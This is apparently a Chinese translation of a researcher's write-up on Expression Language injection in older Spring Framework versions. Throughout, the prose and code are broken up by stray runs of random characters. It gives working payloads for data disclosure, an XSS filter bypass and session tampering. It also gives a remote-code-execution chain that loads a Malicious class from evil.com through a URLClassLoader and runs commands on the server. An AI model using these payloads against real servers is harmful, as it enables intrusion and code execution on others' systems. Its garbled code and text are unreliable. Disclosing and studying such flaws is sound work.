Remote Code with$ _! M) A" \+ Q- c
Expression Language Injection; Z8 ~/ e4 D) Y* W$ a
Spring Framework脆弱性—DanAmodio( G# [" M+ A6 ~& V v
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中9 W7 Q" B$ @& Y3 [: {, w# x
可能会存在风险。
! O& _9 u; U; G- j: N! d. t A7 ~在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
3 ^ K) k$ N5 d. [0 ]( }) iArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
+ _! o: ^0 Q' f) E( [以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
4 k4 b% k7 m2 t& ]以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
' x3 }3 y( g# j' }- P6 O版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
! F) @, f8 Y3 K. ^由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但: P: q) I$ g2 N7 e' R j
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
7 Y) h9 ~+ f7 S5 }, P& Q( X' t本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
7 c: I" q# B, @2 I这些版本不支持禁用double EL resolution.
* u' f7 r0 s- s. ]$ t. N+ L7 c* P这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
# n/ L4 [9 q! P+ S6 l" W9 ?5 X8 iEL2.2容器上可能进行远程代码执行。
7 W4 } |. w2 q这是一个原始信息泄露的攻击例子:- @7 N5 P4 l6 Q7 L. g7 z/ y
请求:
% t/ K5 T- l L) c8 @ttp://vulnerable.com/foo?message=${applicationScope}) l* t: e3 w6 I
到达以下内容页面:
# _4 H) p4 _3 T$ V9 ] s结果将输出一些包含内部服务器信息calsspath 和本地工作目录. G6 f( T5 \$ P+ q
你也可以做一些其他事情,如这样:% C0 p8 O' c U( J: {
${9999+1}
$ w5 y2 F9 A1 |9 n9 t# a还可以访问session 对象和beans
5 j3 {) S+ j3 s0 C& A${employee.lastName}
8 e' x/ M* \* K7 k( a& }在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是* \! j# r" c' ~3 U/ k4 P
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
+ w/ o+ X$ R# c) q% T- q8 ~# X西,比如XSS.9 W1 i; f9 K& ^9 p3 P& N$ a
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
6 ~. b0 ]+ X- y突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤. E: j( A" s0 p l+ E
呢?”) X V- f; n3 W2 r6 \8 M3 M5 f W
因此,我尝试巳缦拢�
: n0 w- e3 {5 H& \! P9 R5 phttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP4 l8 E# F B% d+ C; t6 ~: p( t* s0 D
P) _ x, ]8 |% Y/ S7 T6 G
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返! R) Z' V+ z; b* R6 n
回的文本被插入进了spring:message 标签。
( a7 H! Q4 `: I* R2 t7 o# b这里是一个最终绕过过滤的实例:8 q- _, k: B4 ^- r* h4 \
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ& K; ~/ i: k+ [- H- g5 Q9 @
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为9 W" k& q: v, V+ \" T; i _' X _
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?- G8 D; Y" k2 f7 |, k; R
经过一番研究,我学习到EL2.2 增加了方法调用。& v4 l# N9 [7 H6 G
我写了一个快速测试应用程序代码并且检测一些功能
! `$ |: S+ Q# K${pageContext.request.getSession().setAttribute(“account”,”123456″)}2 f* A" B" `3 ^! y2 {" r/ ~
${pageContext.request.getSession().setAttribute(“admin”,true)}
# R! y) A# Z2 d4 a( ~( [2 X好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的 _$ Q, T1 \6 j7 w8 Q
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?4 k, W6 S& J U% u d
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1 L2 C# q+ g! d2 F/ m
“, 1234)}
$ a2 D1 ^+ V/ B" F6 l3 ~" _; e8 `${“”.getClass().forName(“java.lang.Runtime”)}2 A) ?- R1 I. M* W; T
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
0 d D8 L: [% e2 A/ Z+ f可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
$ E/ R7 d' W, L* v1 E数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有$ }3 N5 _* m. T# n3 v$ Q
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
; h$ @4 t! y1 E1 ?方法签名invoke(Object obj, Object„ args)1 K& K- R* `% X5 ^6 S: h) S
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问* a+ |" h4 S) g
题,以让它可以工作起来。
' @1 ^8 s. T" u- c漏洞利用:% \8 {( {' \1 a _% v' G
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我4 v. ~/ _2 @2 y- c, H" V
希望你们中的一些JAVA奇才告诉我我是如此的可笑。( \/ g) D! C! ~7 X2 L+ Y5 O
这里有一些我试过的失败的用例,为了试图让它工作的用例:
6 ?1 b) ^: o6 O 写文件到文件系统
$ H6 q- W' r2 M0 j+ x& o. D 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.% S) t, G3 n8 ]* z9 {* F. n* E
我认为这些可以很好的工作,但是我不能找到合适的类来载入。1 N; l5 i0 L( E2 {; X( V6 g% c6 K
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
0 f0 I* Q" A9 a+ G9 _7 U+ _' Fjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:0 z4 |2 m! b% l/ R9 T& \% i
org.springframework.expression.spel.standard.SpelExpressionParser not found( _; v+ L2 Y9 A" f6 K, h1 a: G
by
" _3 S- q" t3 T0 a0 z: r: korg.glassfish.web.javax.servlet.jsp [194].
$ K1 t; J7 u; N% [3 Z$ J# h 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public. d5 S+ O5 P6 I2 o7 z& a3 g1 q/ j
利用反射来创建一个新的Runtime(and watch the world burn)4 A) ]8 k% g0 N4 k; u, m
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName5 r+ }, `# `, O8 ^
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}. m" c6 I3 P" \; u
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
; W, B8 T, h+ t. }, m, m 使用java.lang.ProcessBuilder
" c! E* ?7 n) ~9 s/ |0 i8 e 用表达式语言来评估表达式语言
5 m& Q9 `' e3 k( D! e$ Z5 YExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.: r- g8 l" d1 [! V8 o/ d \3 W
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request4 W. m' l _6 v8 E1 `9 s; S
“,”".getClass(),null)}
9 ~# y4 Z/ F I/ z 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)# Y/ j( v5 D* s$ x9 B, P
我在使用一个空数组通过Method.invoke()时失败了很多次
# X1 g9 Z: ^" Z4 N“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo* e" j5 ~7 m D; i# l; Y
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
4 x$ K- O& L0 I2 k2 D: y4 zrrayList”).newInstance().toArray())
! h0 J/ ^8 q2 r1 Ojava.lang.IllegalArgumentException: wrong number of arguments8 T: S! E* H+ s$ g$ @
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可# f6 G9 N, V9 y" ]9 T. G' |% s
以创建一个恶意class文件并且指向类装载器.: R3 y6 U2 Q; y! B
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
# u5 o1 k1 f6 L8 k2 fpublic class Malicious {
, O) `2 |0 G L5 `& K9 Fpublic Malicious() {
, s, o( d4 j8 c# w {/ `; }try {! M, x; }7 H& y/ A/ w* M
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
- q9 {6 }3 c8 g4 I7 Q0 Sjava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win8 F9 ^) K/ X }& l
} catch (Exception e) {3 K7 N! o) h1 k( E: d2 e
}
1 J# N; t1 K5 f% O5 a o5 T}3 g/ m" a# i0 d$ x
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
" T$ g' t5 v9 g0 G话中,因此它可以被使用.4 g2 G0 h# x$ ]5 u& ^6 A1 w3 B
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
5 ?! ^! x' }, l(“java.util.ArrayList”).newInstance())}
+ C% ~3 S# m. w- DURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
; p) A2 l, e' J一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和* a% k7 j, p) X2 h3 m9 Y% ~ X/ M
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个! z2 K' v5 h, L0 L
我们可以调用的create(string)方法,然后转换对一个URL对象。 v0 w# O6 p% r, I
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh8 o' K/ m2 M4 E
ere/malicious/classfile/is/located/”).toURL())}
( ^8 V; p" f( M- m" @然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
) u+ W/ i" x7 p3 \0 y! ~) Y恶意类文件被装载并创建,触发远程代码.# b% s/ d7 R7 n! U! D% a5 j
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte& A3 N/ x9 U/ r2 k" |
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().# N2 x; Q' ~$ `4 K6 d
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
$ M: q/ K# _! m* L8 ~5 v()} |